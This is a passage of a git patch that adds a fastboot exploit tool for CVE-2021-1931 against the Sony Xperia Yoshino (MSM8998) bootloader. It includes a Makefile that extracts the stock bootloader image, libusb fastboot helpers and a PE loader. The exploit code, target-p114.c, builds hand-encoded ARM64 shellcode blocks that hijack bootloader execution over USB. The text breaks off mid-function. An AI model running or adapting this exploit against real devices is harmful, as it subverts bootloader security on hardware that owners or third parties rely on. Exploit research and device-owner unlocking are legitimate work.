From 82b1f4156c7cd81df47d28b21a682da98f3c495a Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Sun, 20 Jul 2025 22:53:16 +0100 Subject: [PATCH] Xperia ABL fastboot Exploit for Yoshino CVE-2021-1931 based fastboot exploit for MSM8998 LA2_0_P_114 bootloader --- Makefile | 152 ++++++ fbusb.c | 307 ++++++++++++ fbusb.h | 38 ++ logging.h | 48 ++ pe-load.cpp | 162 +++++++ target-p114.c | 451 ++++++++++++++++++ xperable.c | 1270 +++++++++++++++++++++++++++++++++++++++++++++++++ 7 files changed, 2428 insertions(+) create mode 100644 Makefile create mode 100644 fbusb.c create mode 100644 fbusb.h create mode 100644 logging.h create mode 100644 pe-load.cpp create mode 100644 target-p114.c create mode 100644 xperable.c diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..a38510c --- /dev/null +++ b/Makefile @@ -0,0 +1,152 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +# +# Makefile for xperable - Xperia ABL fastboot Exploit of CVE-2021-1931 +# +# Copyright (C) 2025 j4nn at xdaforums +# + + +CFLAGS := -D_GNU_SOURCE + +ifneq ($(wildcard target-o77.c),) + DEFINES += TARGET_ABL_O77 + TARGETS += target-o77.c + DEPENDS += LinuxLoader-o77.pe +endif + +ifneq ($(wildcard target-p114.c),) + DEFINES += TARGET_ABL_P114 + TARGETS += target-p114.c + DEPENDS += LinuxLoader-p114.pe boot/xfl-o77.mbn +endif + +ifeq ($(CROSS_BUILD),) + CROSS_BUILD := native + XPERABLE ?= xperable + CC := gcc + CXX := g++ +ifneq ($(wildcard libusb-static/libusb-1.0.a),) + LDFLAGS += -static -Llibusb-static +endif + +else ifeq ($(CROSS_BUILD),mingw64) + XPERABLE := xperable.exe + CC := /usr/lib/mingw64-toolchain/bin/x86_64-w64-mingw32-gcc + CXX := /usr/lib/mingw64-toolchain/bin/x86_64-w64-mingw32-g++ + PEPARSE_CMAKE_OPTS := -DCMAKE_SYSTEM_NAME=Windows \ + -DCMAKE_C_COMPILER=$(CC) \ + -DCMAKE_CXX_COMPILER=$(CXX) \ + -DCMAKE_FIND_ROOT_PATH=/usr/lib/mingw64-toolchain \ + -DCMAKE_FIND_ROOT_PATH_MODE_INCLUDE=ONLY + DEPENDS += libusb-mingw/MinGW64/static/libusb-1.0.a + CFLAGS += -Ilibusb-mingw/include + LDFLAGS += -Llibusb-mingw/MinGW64/static + +else ifeq ($(CROSS_BUILD),aarch64) + XPERABLE := xperable.aarch64 + CC := aarch64-unknown-linux-musl-gcc + CXX := aarch64-unknown-linux-musl-g++ + PEPARSE_CMAKE_OPTS := -DCMAKE_SYSTEM_NAME=Linux \ + -DCMAKE_C_COMPILER=$(CC) \ + -DCMAKE_CXX_COMPILER=$(CXX) \ + -DCMAKE_FIND_ROOT_PATH=/usr/aarch64-unknown-linux-musl \ + -DCMAKE_FIND_ROOT_PATH_MODE_INCLUDE=ONLY + LDFLAGS += -static + +else ifeq ($(CROSS_BUILD),x86_64) + XPERABLE ?= xperable + CC := x86_64-unknown-linux-musl-gcc + CXX := x86_64-unknown-linux-musl-g++ + PEPARSE_CMAKE_OPTS := -DCMAKE_SYSTEM_NAME=Linux \ + -DCMAKE_C_COMPILER=$(CC) \ + -DCMAKE_CXX_COMPILER=$(CXX) \ + -DCMAKE_FIND_ROOT_PATH=/usr/x86_64-unknown-linux-musl \ + -DCMAKE_FIND_ROOT_PATH_MODE_INCLUDE=ONLY + LDFLAGS += -static +endif + +PEPARSE_CMAKE_OPTS += -DCMAKE_BUILD_TYPE=Release \ + -DDEFAULT_CXX_FLAGS=-Wno-deprecated-declarations \ + -DCMAKE_COLOR_MAKEFILE=OFF -DCMAKE_MESSAGE_LOG_LEVEL=WARNING +LDFLAGS += -Lpe-parse/build-$(CROSS_BUILD)/pe-parser-library + +all: $(XPERABLE) + +boot/bootloader_X_BOOT_MSM8998_LA1_1_O_77_X-FLASH-ALL-C93B.sin: + @if [ ! -e 47.1.A.2.281 ]; then \ + mkdir -p boot; \ + echo -e "\nDownload one of the earliest stock firmwares like 47.1.A.2.281 and copy"; \ + echo -e " $@\nfile into the boot subdirectory here.\n"; false; \ + else unzip -q -n -d boot 47.1.A.2.281/boot.zip *-C93B.sin && chmod a-x boot/*.sin; fi + +boot/bootloader_X_BOOT_MSM8998_LA2_0_P_114_X-FLASH-ALL-C93B.sin: + @if [ ! -e 47.2.A.11.228 ]; then \ + mkdir -p boot; \ + echo -e "\nDownload the latest stock firmware like 47.2.A.11.228 and copy"; \ + echo -e " $@\nfile into the boot subdirectory here.\n"; false; \ + else unzip -q -n -d boot 47.2.A.11.228/boot.zip *-C93B.sin; fi + +%-$(CROSS_BUILD).o: %.c + $(CC) $(CFLAGS) -o $@ -c $< + +xperable-$(CROSS_BUILD).o: xperable.c $(TARGETS) fbusb.h logging.h $(DEPENDS) + $(CC) $(addprefix -D, $(DEFINES)) $(CFLAGS) -o $@ -c $< + +$(XPERABLE): xperable-$(CROSS_BUILD).o pe-load-$(CROSS_BUILD).o fbusb-$(CROSS_BUILD).o + $(CXX) $(CFLAGS) $(LDFLAGS) -o $@ -s $^ -lpe-parse -lusb-1.0 + +pe-load-$(CROSS_BUILD).o: pe-load.cpp pe-parse/build-$(CROSS_BUILD)/pe-parser-library/libpe-parse.a + $(CXX) $(CFLAGS) -o $@ -c $< -Ipe-parse/pe-parser-library/include + +pe-parse/CMakeLists.txt: + if [ -d .git ]; then git submodule update --init; \ + else wget https://github.com/trailofbits/pe-parse/archive/refs/heads/master.zip \ + && unzip -q master.zip && mv pe-parse-master pe-parse && rm -f master.zip ; \ + fi + +libusb-mingw/MinGW64/static/libusb-1.0.a: + mkdir -p libusb-mingw + wget -P libusb-mingw https://github.com/libusb/libusb/releases/download/v1.0.29/libusb-1.0.29.7z + 7z -olibusb-mingw x libusb-mingw/libusb-1.0.29.7z MinGW64 include README.txt &>/dev/null \ + || [ -f libusb-mingw/MinGW64/static/libusb-1.0.a -a -f libusb-mingw/include/libusb.h ] + rm -f libusb-mingw/MinGW64/static/libusb-1.0.dll.a + mkdir -p libusb-mingw/include/libusb-1.0 + mv libusb-mingw/include/libusb.h libusb-mingw/include/libusb-1.0 + +pe-parse/build-$(CROSS_BUILD)/pe-parser-library/libpe-parse.a: pe-parse/CMakeLists.txt + mkdir -p pe-parse/build-$(CROSS_BUILD) + (cd pe-parse/build-$(CROSS_BUILD); cmake -DBUILD_SHARED_LIBS=OFF $(PEPARSE_CMAKE_OPTS) .. && make -j4) + +boot/xfl-o77.mbn: boot/bootloader_X_BOOT_MSM8998_LA1_1_O_77_X-FLASH-ALL-C93B.sin + mkdir -p boot/bootloader-o77 + tar xf $< -C boot/bootloader-o77 + tar xf boot/bootloader-o77/bootloader.000 -C boot/bootloader-o77 + echo '41867a4f9becf0587ebc7f18aad85d70133c183c11762a93133f3ce7e29ec6b9 *boot/bootloader-o77/xfl_X_BOOT_MSM8998_LA1_1_O_77.mbn' | sha256sum -c \ + || echo 'c745a32721d68bb7499a0e929bd9bcfec307cb922d0c17c22f064a51e6e1a7c7 *boot/bootloader-o77/xfl_X_BOOT_MSM8998_LA1_1_O_77.mbn' | sha256sum -c + cp boot/bootloader-o77/xfl_X_BOOT_MSM8998_LA1_1_O_77.mbn $@ + +LinuxLoader-o77.pe: boot/xfl-o77.mbn + uefi-firmware-parser -b -e -q -o boot/bootloader-o77/abl boot/bootloader-o77/abl_X_BOOT_MSM8998_LA1_1_O_77.mbn &>/dev/null + cp -p `find boot/bootloader-o77/abl -name section1.pe` $@ + +LinuxLoader-p114.pe: boot/bootloader_X_BOOT_MSM8998_LA2_0_P_114_X-FLASH-ALL-C93B.sin + mkdir -p boot/bootloader-p114 + tar xf $< -C boot/bootloader-p114 + tar xf boot/bootloader-p114/bootloader.000 -C boot/bootloader-p114 + uefi-firmware-parser -b -e -q -o boot/bootloader-p114/abl boot/bootloader-p114/abl_X_BOOT_MSM8998_LA2_0_P_114.mbn &>/dev/null + cp -p `find boot/bootloader-p114/abl -name section1.pe` $@ + +clean: + rm -rf *-$(CROSS_BUILD).o pe-parse/build-$(CROSS_BUILD) + rm -rf boot/bootloader-o77 boot/bootloader-p114 + +distclean: clean + rm -rf pe-parse/build-* + rm -f *.o + rm -f xperable xperable.native xperable.x86_64 xperable.exe xperable.aarch64 + rm -f LinuxLoader-o77.pe LinuxLoader-p114.pe boot/xfl-o77.mbn + +fullclean: distclean + rm -rf pe-parse + rm -rf libusb-mingw + rm -rf boot diff --git a/fbusb.c b/fbusb.c new file mode 100644 index 0000000..50ad68c --- /dev/null +++ b/fbusb.c @@ -0,0 +1,307 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +/* + * fbusb.c - helper functions for fastboot usb protocol + * + * Copyright (C) 2025 j4nn at xdaforums + */ + +#include +#include +#include +#include +#include +#include + +#include "fbusb.h" +#include "logging.h" + +static int verbosity = LOG_ERR; + +static const char *fastboot_results[] = { + [FASTBOOT_OKAY] = "OKAY", + [FASTBOOT_FAIL] = "FAIL", + [FASTBOOT_DATA] = "DATA", + [FASTBOOT_INFO] = "INFO", + [FASTBOOT_UNKNOWN] = "UNKN", +}; + + +struct fbusb { + libusb_device_handle *h; + int iface; + int epi; + int epo; + int maxsize; + int timeout; +}; + + +int fastboot_parse_result(const char *status) +{ + int i; + for (i = 0; i < FASTBOOT_UNKNOWN; i++) + if (strncmp(status, fastboot_results[i], 4) == 0) + return i; + return i; +} + +struct fbusb *fbusb_init(int vid, int pid, int iface, int epi, int epo) +{ + int res; + struct fbusb *dev; + libusb_device_handle *h; + + res = libusb_init(NULL); + if (res < 0) { + PERR("libusb_init failed: %s\n", libusb_strerror(res)); + return NULL; + } + + h = libusb_open_device_with_vid_pid(NULL, vid, pid); + if (h == NULL) { + PERR("libusb_open_device_with_vid_pid (%04x:%04x) failed\n", + vid, pid); + goto err_exit1; + } + + if (libusb_kernel_driver_active(h, 0) == 1) { + if (libusb_detach_kernel_driver(h, 0) != 0) { + PERR("libusb_detach_kernel_driver failed\n"); + goto err_exit2; + } + } + + res = libusb_claim_interface(h, iface); + if (res < 0) { + PERR("libusb_claim_interface failed: %s\n", libusb_strerror(res)); + goto err_exit2; + } + + dev = calloc(1, sizeof(struct fbusb)); + if (dev != NULL) { + dev->h = h; + dev->iface = iface; + dev->epi = epi; + dev->epo = epo; + dev->maxsize = 16 * 1024 * 1024; + dev->timeout = 5000; + return dev; + } + + libusb_release_interface(h, iface); + err_exit2: + libusb_close(h); + err_exit1: + libusb_exit(NULL); + return NULL; +} + +void fbusb_exit(struct fbusb *dev) +{ + libusb_release_interface(dev->h, dev->iface); + libusb_close(dev->h); + libusb_exit(NULL); + free(dev); +} + +void fbusb_set_maxsize(struct fbusb *dev, int maxsize) +{ + dev->maxsize = maxsize; +} + +void fbusb_set_timeout(struct fbusb *dev, int timeout_ms) +{ + dev->timeout = timeout_ms; +} + +void fbusb_inc_verbosity(struct fbusb *dev) +{ + if (verbosity < LOG_DBG) + verbosity++; +} + +void fbusb_dec_verbosity(struct fbusb *dev) +{ + if (verbosity > 0) + verbosity--; +} + +static void fbusb_log(struct fbusb *dev, int ep, void *buff, int len, int done, + int res) +{ + int i; + const char *dir; + const char *status; + const unsigned char *ptr = buff; + + dir = (ep & 0x80) ? "<-" : "->"; + + switch (res) { + case LIBUSB_SUCCESS: status = "OK"; break; + case LIBUSB_ERROR_IO: status = "IO"; break; + case LIBUSB_ERROR_INVALID_PARAM: status = "IP"; break; + case LIBUSB_ERROR_ACCESS: status = "AC"; break; + case LIBUSB_ERROR_NO_DEVICE: status = "ND"; break; + case LIBUSB_ERROR_NOT_FOUND: status = "NF"; break; + case LIBUSB_ERROR_BUSY: status = "BS"; break; + case LIBUSB_ERROR_TIMEOUT: status = "TO"; break; + case LIBUSB_ERROR_OVERFLOW: status = "OF"; break; + case LIBUSB_ERROR_PIPE: status = "PI"; break; + case LIBUSB_ERROR_INTERRUPTED: status = "IN"; break; + case LIBUSB_ERROR_NO_MEM: status = "NM"; break; + case LIBUSB_ERROR_NOT_SUPPORTED: status = "NS"; break; + case LIBUSB_ERROR_OTHER: status = "OT"; break; + default: status = "??"; break; + } + + PNFO_CONT(" {%08x%s%08x:%s}", len, dir, done, status); + + if (verbosity >= LOG_DBG) { + for (i = 0; i < 16; i++) + if (i < done) + PDBG_CONT(" %02x", ptr[i]); + else + PDBG_CONT(" "); + } + + PNFO_CONT(" \""); + for (i = 0; i < 64 && i < done; i++) + PNFO_CONT("%c", isprint(ptr[i]) ? ptr[i] : '.'); + PNFO_CONT("\"\n"); +} + +static int fbusb_transfer(struct fbusb *dev, void *buff, int size, int ep) +{ + int res, idx; + int len, done; + int transferred = 0; + + for (idx = 0; idx < size; idx += done) { + len = size - idx; + if (dev->maxsize > 0) { + if (len > dev->maxsize) + len = dev->maxsize; + } + + done = 0; + res = libusb_bulk_transfer(dev->h, ep, buff + idx, len, &done, + dev->timeout); + transferred += done; + fbusb_log(dev, ep, buff + idx, len, done, res); + + if (res != 0 && transferred == 0) { + PERR("libusb_bulk_transfer failed: %s ep=0x%02x " + "len=0x%04x size=0x%04x\n", + libusb_strerror(res), ep, len, size); + return -1; + } + if (done < len) + break; + } + + return transferred; +} + +int fbusb_send(struct fbusb *dev, void *buff, int size) +{ + return fbusb_transfer(dev, buff, size, dev->epo); +} + +int fbusb_recv(struct fbusb *dev, void *buff, int size) +{ + return fbusb_transfer(dev, buff, size, dev->epi); +} + +int fbusb_bufcmd_resp(struct fbusb *dev, void *rsp, int *rspsz) +{ + int res; + int received; + char *s = rsp; + if (rspsz == NULL || *rspsz < 4) + return -1; + memset(rsp, 0, *rspsz); + received = fbusb_recv(dev, rsp, *rspsz); + if (received >= 4) { + res = fastboot_parse_result(rsp); + if (res < FASTBOOT_UNKNOWN) { + received -= 4; + memmove(rsp, rsp + 4, received); + memset(s + received, 0, 4); + *rspsz = received; + return res; + } + PDBG("fbusb_bufcmd_resp recv unknown fastboot response: " + "'%c%c%c%c' (rspsz=0x%04x received=0x%04x)\n", + s[0], s[1], s[2], s[3], *rspsz, received); + *rspsz = received; + return FASTBOOT_UNKNOWN; + } + if (received < 0) { + PERR("fbusb_bufcmd_resp recv failed (rspsz=0x%04x)\n", *rspsz); + *rspsz = 0; + return received; + } + PERR("fbusb_bufcmd_resp recv invalid fastboot response: " + "received=0x%04x (rspsz=0x%04x)\n", received, *rspsz); + *rspsz = received; + return FASTBOOT_UNKNOWN; +} + +int fbusb_bufcmd(struct fbusb *dev, void *req, int reqsz, void *rsp, int *rspsz) +{ + int res = fbusb_send(dev, req, reqsz); + if (res != reqsz) { + *rspsz = 0; + if (res > 0) { + PERR("fbusb_bufcmd send incomplete: " + "reqsz=0x%02x res=0x%04x\n", reqsz, res); + return -1; + } + PERR("fbusb_bufcmd send failed: reqsz=0x%02x res=0x%04x\n", reqsz, res); + return -1; + } + return fbusb_bufcmd_resp(dev, rsp, rspsz); +} + +int fbusb_bufrcv(struct fbusb *dev, void *rcv, int rcvsz, void *rsp, int *rspsz) +{ + int res = fbusb_recv(dev, rcv, rcvsz); + if (res != rcvsz) { + *rspsz = 0; + if (res > 0) { + PDBG("fbusb_bufrcv recv incomplete: rcvsz=0x%02x res=0x%04x\n", + rcvsz, res); + return -1; + } + PERR("fbusb_bufrcv recv failed: rcvsz=0x%02x res=0x%04x\n", rcvsz, res); + return -1; + } + return fbusb_bufcmd_resp(dev, rsp, rspsz); +} + +int fbusb_strcmd(struct fbusb *dev, const char *req, char *rsp, int rspmaxsize) +{ + int res; + int rspsz = rspmaxsize - 1; + if (rspsz < 4) + return -1; + res = fbusb_bufcmd(dev, (void *)req, strlen(req), rsp, &rspsz); + if (res >= 0) + if (rspsz >= 0 && rspsz < rspmaxsize) + rsp[rspsz] = '\0'; + return res; +} + +int fbusb_strcmd_resp(struct fbusb *dev, char *rsp, int rspmaxsize) +{ + int res; + int rspsz = rspmaxsize - 1; + if (rspsz < 4) + return -1; + res = fbusb_bufcmd_resp(dev, rsp, &rspsz); + if (res >= 0) + if (rspsz >= 0 && rspsz < rspmaxsize) + rsp[rspsz] = '\0'; + return res; +} + diff --git a/fbusb.h b/fbusb.h new file mode 100644 index 0000000..b15d5ab --- /dev/null +++ b/fbusb.h @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +/* + * fbusb.h - helper functions for fastboot usb protocol + * + * Copyright (C) 2025 j4nn at xdaforums + */ + +#ifndef FBUSB_H +#define FBUSB_H + +struct fbusb; + +struct fbusb *fbusb_init(int vid, int pid, int iface, int ep_in, int ep_out); +void fbusb_exit(struct fbusb *dev); + +void fbusb_set_maxsize(struct fbusb *dev, int maxsize); +void fbusb_set_timeout(struct fbusb *dev, int timeout_ms); +void fbusb_inc_verbosity(struct fbusb *dev); +void fbusb_dec_verbosity(struct fbusb *dev); + +int fbusb_send(struct fbusb *dev, void *buff, int size); +int fbusb_recv(struct fbusb *dev, void *buff, int size); + +enum { + FASTBOOT_OKAY, + FASTBOOT_FAIL, + FASTBOOT_DATA, + FASTBOOT_INFO, + FASTBOOT_UNKNOWN +}; + +int fbusb_bufcmd(struct fbusb *dev, void *req, int reqsz, void *rsp, int *rspsz); +int fbusb_bufrcv(struct fbusb *dev, void *rcv, int rcvsz, void *rsp, int *rspsz); +int fbusb_bufcmd_resp(struct fbusb *dev, void *rsp, int *rspsz); +int fbusb_strcmd(struct fbusb *dev, const char *req, char *rsp, int rspmaxsize); +int fbusb_strcmd_resp(struct fbusb *dev, char *rsp, int rspmaxsize); + +#endif diff --git a/logging.h b/logging.h new file mode 100644 index 0000000..ca3dd7a --- /dev/null +++ b/logging.h @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +/* + * logging.h - macros for debug and errors logging + * + * Copyright (C) 2025 j4nn at xdaforums + */ + +#ifndef _LOGGING_H_ +#define _LOGGING_H_ + +#include +#include +#include + +enum { + LOG_ERR = 1, + LOG_NFO, + LOG_DBG, +}; + +#define eprintf(lev, fmt, args...) \ + do { \ + if (verbosity >= lev) \ + fprintf(stderr, fmt, ##args); \ + } while(0) + +#define oprintf(lev, fmt, args...) \ + do { \ + if (verbosity >= lev) \ + fprintf(stdout, fmt, ##args); \ + } while(0) + +#define PERR(fmt, args...) eprintf(LOG_ERR, "[!] " fmt, ##args) +#define PNFO(fmt, args...) eprintf(LOG_NFO, "[+] " fmt, ##args) +#define PDBG(fmt, args...) eprintf(LOG_DBG, "[.] " fmt, ##args) + +#define PERR_CONT(fmt, args...) eprintf(LOG_ERR, fmt, ##args) +#define PNFO_CONT(fmt, args...) eprintf(LOG_NFO, fmt, ##args) +#define PDBG_CONT(fmt, args...) eprintf(LOG_DBG, fmt, ##args) + +#define PRNO(fmt, args...) \ + do { \ + PERR(fmt ": %s\n", ##args, strerror(errno)); \ + } while(0) + +#define POUT(fmt, args...) oprintf(LOG_NFO, fmt, ##args) + +#endif diff --git a/pe-load.cpp b/pe-load.cpp new file mode 100644 index 0000000..20d1c1a --- /dev/null +++ b/pe-load.cpp @@ -0,0 +1,162 @@ +/* +The MIT License (MIT) + +Copyright (c) 2013 Andrew Ruef + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +*/ + +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include + +#include "logging.h" +extern int verbosity; + +using namespace peparse; + +static VA image_base; +static uint8_t *image_buff; + +static int fix_relocs(void *N, const VA &relocAddr, const reloc_type &type) +{ + uint64_t *ptr; + uint64_t newbase = reinterpret_cast(N); + + if (type == RELOC_ABSOLUTE) + return 0; + +#if 0 + std::cout << "TYPE: "; + switch (type) { + case RELOC_ABSOLUTE: + std::cout << "ABSOLUTE"; + break; + case RELOC_HIGH: + std::cout << "HIGH"; + break; + case RELOC_LOW: + std::cout << "LOW"; + break; + case RELOC_HIGHLOW: + std::cout << "HIGHLOW"; + break; + case RELOC_HIGHADJ: + std::cout << "HIGHADJ"; + break; + case RELOC_MIPS_JMPADDR: + std::cout << "MIPS_JMPADDR"; + break; + case RELOC_MIPS_JMPADDR16: + std::cout << "MIPS_JMPADD16"; + break; + case RELOC_DIR64: + std::cout << "DIR64"; + break; + default: + std::cout << "UNKNOWN"; + break; + } +#endif + + ptr = reinterpret_cast(&image_buff[relocAddr - image_base]); + +// std::cout << " VA: 0x" << std::hex << relocAddr << " [0x" << std::hex << *ptr; + *ptr += newbase; +// std::cout << " -> 0x" << std::hex << *ptr << "]\n"; + + return 0; +} + +static int find_code_boundary(void *N, + const VA &secBase, + const std::string &secName, + const image_section_header &s, + const bounded_buffer *data) +{ + static_cast(s); + int *code_boundary = static_cast (N); + if (secName == ".text" && data != NULL) { + *code_boundary = (int)secBase + data->bufLen; + } + return 0; +} + +extern "C" +int load_pe(const char *fname, void *buff, int maxsize, uint64_t base_va, + int *code_boundary) +{ + int i; + int fd; + int res; + + fd = open(fname, O_RDONLY); + if (fd < 0) { + PRNO("open pe %s file", fname); + return -1; + } + res = read(fd, buff, maxsize); + if (res < 0) { + PRNO("read pe %s file", fname); + return -1; + } + close(fd); + + + parsed_pe *p = ParsePEFromFile(fname); + + if (p == nullptr) { + PERR("load_pe of %s failed: %s\n", fname, GetPEErrString().c_str()); + return -1; + } + + + VA va = p->peHeader.nt.OptionalHeader64.ImageBase; + VA va_end = va + p->peHeader.nt.OptionalHeader64.SizeOfImage; + image_base = va; + image_buff = (uint8_t *)buff; + for (i = 0; va < va_end; va++, i++) + ReadByteAtVA(p, va, image_buff[i]); + + IterRelocs(p, fix_relocs, (void *)base_va); + + if (code_boundary != NULL) { + *code_boundary = 0; + IterSec(p, find_code_boundary, code_boundary); + PDBG("Code boundary of %s is 0x%08x\n", fname, *code_boundary); + } + + res = p->peHeader.nt.OptionalHeader64.SizeOfImage; + + DestructParsedPE(p); + + return res; +} diff --git a/target-p114.c b/target-p114.c new file mode 100644 index 0000000..1069ec2 --- /dev/null +++ b/target-p114.c @@ -0,0 +1,451 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +/* + * target-p114.c - yoshino X_Boot_MSM8998_LA2.0_P_114 bootloader target specifics + * + * Copyright (C) 2025 j4nn at xdaforums + */ + +static const int p114_offset = 0x30; +static const int p114_size = 0xf3f880; + +static const int64_t p114_test3_hitadj = -0x97ffedb3LL + 0x28E64LL - 4LL; +static const int p114_stage1_cont = 0x28DC8; +static const char p114_test4_cmd[] = "flash:fb"; + + +static void p114_setup_test2(unsigned char *buff, int size, int offset) +{ + int i; + + memset(buff, 0, size); + + for (i = (offset % 0x80); i < size; i += 0x80) { + OPCODE(buff + i + 0x00, 0x01, 0x00, 0x00, 0x94); // bl #0x04 = [ 01 00 00 94 ] + OPCODE(buff + i + 0x04, 0xe2, 0xff, 0xff, 0x10); // adr x2, #-0x04 = [ e2 ff ff 10 ] + OPCODE(buff + i + 0x08, 0xc2, 0x03, 0x02, 0xcb); // sub x2, lr, x2 = [ c2 03 02 cb ] + OPCODE(buff + i + 0x0c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x10, 0xfd, 0xff, 0xff, 0x97); // bl #-0x0c = [ fd ff ff 97 ] + OPCODE(buff + i + 0x14, 0xe0, 0xff, 0xb2, 0xd2); // movz x0, #0x97ff, lsl #16 = [ e0 ff b2 d2 ] code "B3 ED FF 97" is a call to return + OPCODE(buff + i + 0x18, 0x60, 0xb6, 0x9d, 0xf2); // movk x0, #0xedb3 = [ 60 b6 9d f2 ] fastboot FAIL response - search for it + OPCODE(buff + i + 0x1c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x20, 0xf9, 0xff, 0xff, 0x97); // bl #-0x1c = [ f9 ff ff 97 ] + OPCODE(buff + i + 0x24, 0xfe, 0xff, 0xff, 0xf0); // adrp lr, #-0x1000 = [ fe ff ff f0 ] + OPCODE(buff + i + 0x28, 0xc1, 0x47, 0x40, 0xb8); // ldr w1, [lr], #4 = [ c1 47 40 b8 ] + OPCODE(buff + i + 0x2c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x30, 0xf5, 0xff, 0xff, 0x97); // bl #-0x2c = [ f5 ff ff 97 ] + OPCODE(buff + i + 0x34, 0x3f, 0x00, 0x00, 0x6b); // cmp w1, w0 = [ 3f 00 00 6b ] + OPCODE(buff + i + 0x38, 0x81, 0xff, 0xff, 0x54); // b.ne #-0x10 = [ 81 ff ff 54 ] lr = 0x28E68, i.e. addr of code after + OPCODE(buff + i + 0x3c, 0x06, 0x00, 0x00, 0x14); // b #0x18 = [ 06 00 00 14 ] the call to return fb FAIL response + + OPCODE(buff + i + 0x40, 0xf1, 0xff, 0xff, 0x97); // bl #-0x3c = [ f1 ff ff 97 ] + snprintf(buff + i + 0x44, 5+7, "vxyz%06x-", i); // "f3ce40-e40-" "vxyzf3ce40-" + + OPCODE(buff + i + 0x50, 0xed, 0xff, 0xff, 0x97); // bl #-0x4c = [ ed ff ff 97 ] + OPCODE(buff + i + 0x54, 0xa0, 0xff, 0xff, 0x10); // adr x0, #-0x0c = [ a0 ff ff 10 ] + OPCODE(buff + i + 0x58, 0x61, 0xff, 0xff, 0x10); // adr x1, #-0x14 = [ 61 ff ff 10 ] + OPCODE(buff + i + 0x5c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x60, 0xe9, 0xff, 0xff, 0x97); // bl #-0x5c = [ e9 ff ff 97 ] + OPCODE(buff + i + 0x64, 0x42, 0xfc, 0x44, 0xd3); // lsr x2, x2, #4 = [ 42 fc 44 d3 ] + OPCODE(buff + i + 0x68, 0x21, 0x00, 0x02, 0x8b); // add x1, x1, x2 = [ 21 00 02 8b ] + OPCODE(buff + i + 0x6c, 0x02, 0x00, 0x00, 0x14); // b #0x08 = [ 02 00 00 14 ] + + OPCODE(buff + i + 0x70, 0xe5, 0xff, 0xff, 0x97); // bl #-0x6c = [ e5 ff ff 97 ] + OPCODE(buff + i + 0x74, 0x14, 0x1e, 0x89, 0xd2); // movz x20, #0x48f0 = [ 14 1e 89 d2 ] + OPCODE(buff + i + 0x78, 0xd4, 0x03, 0x14, 0xcb); // sub x20, lr, x20 = [ d4 03 14 cb ] x20 points to code to return our fb + OPCODE(buff + i + 0x7c, 0x80, 0x02, 0x1f, 0xd6); // br x20 = [ 80 02 1f d6 ] response - link back to 0x28E68 + } +} + +static void p114_setup_test3(unsigned char *buff, int size, int offset) +{ + int i, j; + + memset(buff, 0, size); + + for (i = offset; i < size; i += 0x80) { + for (j = 0; j < 0x4c; j += 4) + OPCODE(buff + i + j, 0x1f, 0x20, 0x03, 0xd5); // nop = [ 1f 20 03 d5 ] + + OPCODE(buff + i + 0x4c, 0xe2, 0xff, 0xb2, 0xd2); // movz x2, #0x97ff, lsl #16 = [ e2 ff b2 d2 ] code "B3 ED FF 97" is a call to return + OPCODE(buff + i + 0x50, 0x62, 0xb6, 0x9d, 0xf2); // movk x2, #0xedb3 = [ 62 b6 9d f2 ] fastboot FAIL response - search for it + OPCODE(buff + i + 0x54, 0x63, 0xfd, 0xff, 0x10); // adr x3, #-0x54 = [ 63 fd ff 10 ] + OPCODE(buff + i + 0x58, 0x61, 0x7c, 0x40, 0xb9); // ldr w1, [x3, #0x7c] = [ 61 7c 40 b9 ] offset of current block vs offs string + OPCODE(buff + i + 0x5c, 0x60, 0x00, 0x01, 0xcb); // sub x0, x3, x1 = [ 60 00 01 cb ] addr of our resp. str. in usb buff + OPCODE(buff + i + 0x60, 0x61, 0x4c, 0x40, 0xb8); // ldr w1, [x3, #0x04]! = [ 61 4c 40 b8 ] + OPCODE(buff + i + 0x64, 0x3f, 0x00, 0x02, 0x6b); // cmp w1, w2 = [ 3f 00 02 6b ] + OPCODE(buff + i + 0x68, 0xc1, 0xff, 0xff, 0x54); // b.ne #-0x08 = [ c1 ff ff 54 ] x3 = call to return fb FAIL (0x28E64) + OPCODE(buff + i + 0x6c, 0xc1, 0x03, 0x03, 0xcb); // sub x1, lr, x3 = [ c1 03 03 cb ] + OPCODE(buff + i + 0x70, 0x21, 0x00, 0x02, 0x8b); // add x1, x1, x2 = [ 21 00 02 8b ] + OPCODE(buff + i + 0x74, 0x01, 0x70, 0x00, 0xf8); // str x1, [x0, #0x07] = [ 01 70 00 f8 ] + OPCODE(buff + i + 0x78, 0x60, 0x00, 0x1f, 0xd6); // br x3 = [ 60 00 1f d6 ] jump back to 0x28E64 + *(uint32_t *)(buff + i + 0x7c) = i - (i / 0x80 * 16); + + snprintf(buff + (i / 0x80 * 16), 8, "%06x:", i); + } +} + +static void p114_setup_test4(unsigned char *buff, int size, int offset, int 